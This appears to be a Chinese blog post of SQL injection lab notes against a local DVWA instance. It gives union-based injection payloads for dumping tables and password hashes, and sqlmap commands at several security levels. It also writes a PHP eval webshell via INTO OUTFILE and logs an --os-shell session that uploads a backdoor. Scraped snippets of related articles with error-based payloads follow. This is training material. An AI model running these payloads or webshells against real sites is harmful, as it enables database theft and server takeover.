sql回显注入-笔记

拼接sql命令查询数据

注释 常用于sql注入

# 井号 单行注释 注意:URL编码 %23

-- 两个减号加空格 单行注释

/*  */    注释一个区域

注意!在sql注入遇到单引号被转译的情况可以使用 HEX编码 绕过单引号的使用

注入测试poc

1 or 1=1

1‘ or ‘1=1

1" or "1=1

sql注入用法

查看表单字段数(列数)

使用二分法   order by 列数   排序

确定回显点 XXX‘ union select 1,2;

http://192.168.3.88/dvwa/vulnerabilities/sqli/

?id=xx‘+union+select+1,2--+

&Submit=Submit#

查看数据库版本 存放目录

http://192.168.3.88/dvwa/vulnerabilities/sqli/

?id=xx‘[email protected]@version,@@datadir-- +

&Submit=Submit#

查询数据库用户名和数据库名

select user(),database();

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" --current-user --current-db

查看表名  select table_name from information_schema.tables where table_schema=‘dvwa‘;

http://192.168.3.88/dvwa/vulnerabilities/sqli/

?id=xx‘+union+select+1,table_name+from+information_schema.tables+where+table_schema=‘dvwa‘-- +

&Submit=Submit#

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa --tables

查看列名 select column_name from information_schema.columns where table_name=‘users‘;

http://192.168.3.88/dvwa/vulnerabilities/sqli/

?id=xx‘+union+select+1,column_name from information_schema.columns where table_name=‘users‘-- +

&Submit=Submit#

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users --columns

查询用户名密码 select user,password from users;

http://192.168.3.88/dvwa/vulnerabilities/sqli/

?id=xx‘+union+select user,password from users-- +

&Submit=Submit#

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users -C "user,password" --dump

文件读取  select load_file(‘c:\\windows\\win.ini‘);

写入一句话webshell

select "<?php @eval($_GET[‘cmd‘]);?>" into outfile ‘c:\\phpStudy\\WWW\\dvwa\\ttt.php‘;

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users -C "user,password" --os-shell

___

__H__

___ ___[‘]_____ ___ ___  {1.1.4.16#dev}

|_ -| . [‘]     | .‘| . |

|___|_  [(]_|_|_|__,|  _|

|_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user‘s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 09:42:39

[09:42:39] [INFO] resuming back-end DBMS ‘mysql‘

[09:42:39] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)

Payload: id=1‘ OR NOT 1977=1977#&Submit=Submit

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1‘ AND (SELECT 3539 FROM(SELECT COUNT(*),CONCAT(0x716a767171,(SELECT (ELT(3539=3539,1))),0x7178767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FXCd&Submit=Submit

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: id=1‘ AND SLEEP(5)-- peqj&Submit=Submit

Type: UNION query

Title: MySQL UNION query (NULL) - 2 columns

Payload: id=1‘ UNION ALL SELECT NULL,CONCAT(0x716a767171,0x50557565536267736d786d6466746d634a4d6b46466d61764e46484d635941774f6a725371596862,0x7178767171)#&Submit=Submit

---

[09:42:39] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: PHP 5.4.45, Apache 2.4.23

back-end DBMS: MySQL >= 5.0

[09:42:39] [INFO] going to use a web backdoor for command prompt

[09:42:39] [INFO] fingerprinting the back-end DBMS operating system

[09:42:39] [INFO] the back-end DBMS operating system is Windows

which web application language does the web server support?

[1] ASP (default)

[2] ASPX

[3] JSP

[4] PHP

> 4

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n

[09:42:43] [WARNING] unable to automatically retrieve the web server document root

what do you want to use for writable directory?

[1] common location(s) (‘C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/‘) (default)

[2] custom location(s)

[3] custom directory list file

[4] brute force search

> 2

please provide a comma separate list of absolute directory paths: C:\phpStudy\WWW\DVWA

[09:42:51] [WARNING] unable to automatically parse any web server path

[09:42:51] [INFO] trying to upload the file stager on ‘C:/phpStudy/WWW/DVWA/‘ via LIMIT ‘LINES TERMINATED BY‘ method

[09:42:51] [INFO] heuristics detected web page charset ‘ascii‘

[09:42:51] [INFO] the file stager has been successfully uploaded on ‘C:/phpStudy/WWW/DVWA/‘ - http://192.168.3.88:80/DVWA/tmpummkl.php

[09:42:52] [INFO] the backdoor has been successfully uploaded on ‘C:/phpStudy/WWW/DVWA/‘ - http://192.168.3.88:80/DVWA/tmpbhbmv.php

[09:42:52] [INFO] calling OS shell. To quit type ‘x‘ or ‘q‘ and press ENTER

os-shell> dir

do you want to retrieve the command standard output? [Y/n/a] y

[09:42:56] [INFO] heuristics detected web page charset ‘GB2312‘

command standard output:

---

驱动器 C 中的卷是 BOOTCAMP

卷的序列号是 D89B-813F

C:\phpStudy\WWW\DVWA 的目录

2017-05-16  09:42    <DIR>          .

2017-05-16  09:42    <DIR>          ..

2015-10-05  15:51               500 .htaccess

2015-10-05  15:51             3,845 about.php

2015-10-05  15:51             7,229 CHANGELOG.md

2017-04-25  09:18    <DIR>          config

2015-10-05  15:51            33,107 COPYING.txt

2017-04-25  09:18    <DIR>          docs

2017-04-25  09:18    <DIR>          dvwa

2017-04-25  09:18    <DIR>          external

2015-10-05  15:51             1,406 favicon.ico

2017-04-25  09:18    <DIR>          hackable

2015-10-05  15:51               895 ids_log.php

2015-10-05  15:51             4,389 index.php

2015-10-05  15:51             1,869 instructions.php

2015-10-05  15:51             3,522 login.php

2015-10-05  15:51               414 logout.php

2015-10-05  15:51               148 php.ini

2015-10-05  15:51               199 phpinfo.php

2015-10-05  15:51             7,651 README.md

2015-10-05  15:51                26 robots.txt

2015-10-05  15:51             4,686 security.php

2015-10-05  15:51             2,364 setup.php

2017-05-04  20:59               466 test.php

2017-05-16  09:42               908 tmpbhbmv.php

2017-05-16  09:42               727 tmpummkl.php

2017-05-15  21:11                29 ttt.php

2017-04-25  09:18    <DIR>          vulnerabilities

20 个文件         74,380 字节

8 个目录 18,391,883,776 可用字节

---

os-shell> x

[09:43:02] [INFO] cleaning up the web files uploaded

[09:43:02] [WARNING] HTTP error codes detected during run:

404 (Not Found) - 2 times

[09:43:02] [INFO] fetched data logged to text files under ‘C:\Users\zptxwd\.sqlmap\output\192.168.3.88‘

[*] shutting down at 09:43:03

sqlmap工具自动注入

low

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=1r06imrpmtlhgg7magi3oos273;security=low"

medium.

注意!在sql注入遇到单引号被转译的情况可以使用 HEX编码 绕过单引号的使用

DVWA

正常业务逻辑:根据User ID在数据库内查找信息并回显至web页面

select firstname,surname from XXX where user_id=‘

LOW

使用1‘ or ‘1=1测试发现可行

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=1r06imrpmtlhgg7magi3oos273;security=low"

medium.

改包修改post参数

1 or 1=1

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=medium"

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=medium" -D dvwa -T users -C "user,password" --dump

high

可以发现查询位置与回显位置不一致

python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=dv9h9urfu9bf9udkd7ih6qdbj3;security=high" --second-order "http://192.168.3.88/dvwa/vulnerabilities/sqli/session-input.php#"

防止sql注入:检测id数据类型,预编译绑定ID变量

使用 预编译、存储过程

时间: 2024-11-04 14:00:36

sql回显注入-笔记的相关文章

web实战之sql回显注入

SQL回显

DVWA-SQL注入 DVWA是一个基于PHP和MySQL开发的漏洞测试平台 测试环境 应用程序: phpStudy(apache,php,mysql) 测试程序: firefox, new hacker, burpsuite,sqlmap,中国菜刀 一.        SQL注入 SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到恶意SQL语句的目的. 二.        手工注入常规思路 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字

SQL--报错回显注入

1.floor()函数 原理: 利用rand()函数与group()函数的相互冲突,floor()是向下取整函数,floor(9.99)=9.0 语法结构: username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,你想获取的数据的sql语句)x from information_schema.tables group by x )a) and '1' = '1 2.extractvalue

基于错误回显的sql注入整理

由于复习,停了好几天,今天换换模式做了一下关于错误回显的ctf题目,首先附上题目:here 整理了一下网上的一些关于错误回显的方法,在这里就不带上地址了,请大牛们原谅:P 0x00 关于错误回显 用我自己的话来讲,基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上(当然在实际应用中得能回显在页面上,一般的网站都回避免这种情况,哈哈,要是能碰上你就偷着乐吧). 0x01  用于错误回显的sql语句(下面的函数撸主只在mysql下试过也能成功,其他数据库有待考证,待有实例的时候

springmvc学习笔记(15)-数据回显

springmvc学习笔记(15)-数据回显 springmvc学习笔记15-数据回显 pojo数据回显方法 简单类型数据回显 本文介绍springmvc中数据回显的几种实现方法 数据回显:提交后,如果出现错误,将刚才提交的数据回显到刚才的提交页面. pojo数据回显方法 1.springmvc默认对pojo数据进行回显. pojo数据传入controller方法后,springmvc自动将pojo数据放到request域,key等于pojo类型(首字母小写) 使用@ModelAttribute

SQL报错注入结合sqli lab和百度杯CTF VId

0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型注入的利用大概有以下3种方式: 1:?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1

i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)

打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>",访问后发现一堆看不懂的东西 这肯定就是所谓的Vulcan Logic Dumper了,先了解下相关概念 PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html PHP中的opcode:https://blog.csdn.net/weiyu

SQL盲注注入

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入.盲注一般分为布尔盲注和基于时间的盲注和报错的盲注.本次主要讲解的是基于布尔的盲注. Length()函数 返回字符串的长度 Substr()截取字符串 Ascii()返回字符的ascii码 sleep(n):将程序挂起一段时间 n为n秒 if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 当然如果上面的函数被禁用,也有相应的函数替换.可百度 布尔

ORACLE PL/SQL异常处理(Exception)学习笔记

1.PL/SQL错误类型 错误类型 报告者 处理方法 编译时错误 PL/SQL编译器 交互式地处理:编译器报告错误,你必须更正这些错误 运行时错误 PL/SQL运行时引擎 程序化地处理:异常由异常处理子程序引发并进行捕获 2.异常的声明 有两种异常:用户自定义异常和预定义异常 用户自定义异常就是由程序员自己定义的一个错误.该错误还不是非常重要,所以并没有将整个错误包含在Oracle的错误中.例如,它可能是一个与数据有关的错误.而预定义异常则对应于一般的SQL和PL/SQL错误. 用户自定义异常是